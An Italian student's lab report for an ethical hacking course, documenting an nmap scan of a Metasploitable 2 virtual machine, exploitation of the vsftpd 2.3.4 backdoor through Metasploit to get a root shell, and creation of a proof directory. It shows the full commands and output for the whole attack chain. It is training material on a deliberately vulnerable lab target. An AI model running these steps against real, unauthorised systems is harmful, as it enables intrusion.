

REPORT ESERCITAZIONE: Exploitation vsftpd 2.3.4

Studente: Rocco Paolo Caccamo

Corso: Cybersecurity & Ethical Hacking

Target: Metasploitable 2 (IP: 192.168.1.149)

Data: 19/01/2026

1. Obiettivo

L'obiettivo dell'attività è testare la sicurezza del servizio FTP sulla macchina target assegnata (192.168.1.149), sfruttare una vulnerabilità nota per ottenere accesso amministrativo e lasciare una prova dell'intrusione nel filesystem.

2. Fase 1: Information Gathering (Scansione)

Ho avviato una scansione con **nmap** per identificare i servizi aperti e le loro versioni.

- **Comando:** **nmap -sV 192.168.1.149**
- **Analisi:** La scansione ha rivelato la porta **21 aperta** con il servizio **vsftpd 2.3.4**.

```
(kali@kali)-[~]
└─$ nmap -sV 192.168.1.149
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-19 10:38 -0500
Nmap scan report for 192.168.1.149
Host is up (0.000055s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:4D:ED:59 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OS
s: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://
nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.18 seconds
```

Output di Nmap che mostra la versione vulnerabile vsftpd 2.3.4.

3. Fase 2: Configurazione dell'Exploit

Utilizzando **Metasploit Framework** (`msfconsole`), ho cercato un exploit compatibile con la versione rilevata.

- **Comando:** `search vsftpd`
- **Scelta:** Ho identificato il modulo `exploit/unix/ftp/vsftpd_234_backdoor` (Rank: Excellent).

```
msf > search vsftpd

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Chec
k  Description
-  -
0  auxiliary/dos/ftp/vsftpd_232              2011-02-03      normal  Yes
   VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No
   VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Ricerca del modulo in Metasploit.

Successivamente, ho caricato il modulo e impostato l'indirizzo IP del bersaglio.

- **Comandi:**
 - `use 1`
 - `set RHOSTS 192.168.1.149`
 - `show options` (per verifica finale)

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ---      -
  CHOST      CHOST            no        The local client address
  CPORT      CPORT            no        The local client port
  Proxies    Proxies          no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapi, socks4, socks5, socks5h, http
  RHOSTS     192.168.1.149   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21               yes       The target port (TCP)

Exploit target:

  Id  Name
  --  ---
  0    Automatic

View the full module info with the info, or info -d command.
```

Verifica delle opzioni (RHOSTS e RPORT) prima del lancio.

4. Fase 3: Exploitation (Attacco)

Ho lanciato l'attacco con il comando `run`. L'exploit ha sfruttato la backdoor aprendo una connessione sulla porta 6200.

- **Risultato:** È stata aperta la sessione "Command shell 1".
- **Verifica Privilegi:** Il sistema indica `uid=0(root) gid=0(root)`.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.2:39685 → 192.168.1.149:6200)
at 2026-01-19 10:43:48 -0500
```

Conferma dell'apertura della shell e ottenimento dei privilegi di root.

5. Fase 4: Post-Exploitation (Esecuzione Task)

Come richiesto dalla traccia, ho navigato nella root directory e creato la cartella di prova.

- **Comandi:**
 - `cd /`
 - `mkdir test_metasploit`
 - `ls`
- **Esito:** Il comando `ls` mostra chiaramente la presenza della cartella `test_metasploit`, confermando che abbiamo permessi di scrittura sul filesystem.

```
cd /
mkdir test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

Verifica finale della creazione della directory 'test_metasploit'.

Conclusioni

L'esercizio è stato completato con successo. La vulnerabilità critica di `vsftpd 2.3.4` ha permesso di prendere il controllo totale della macchina in pochi passaggi.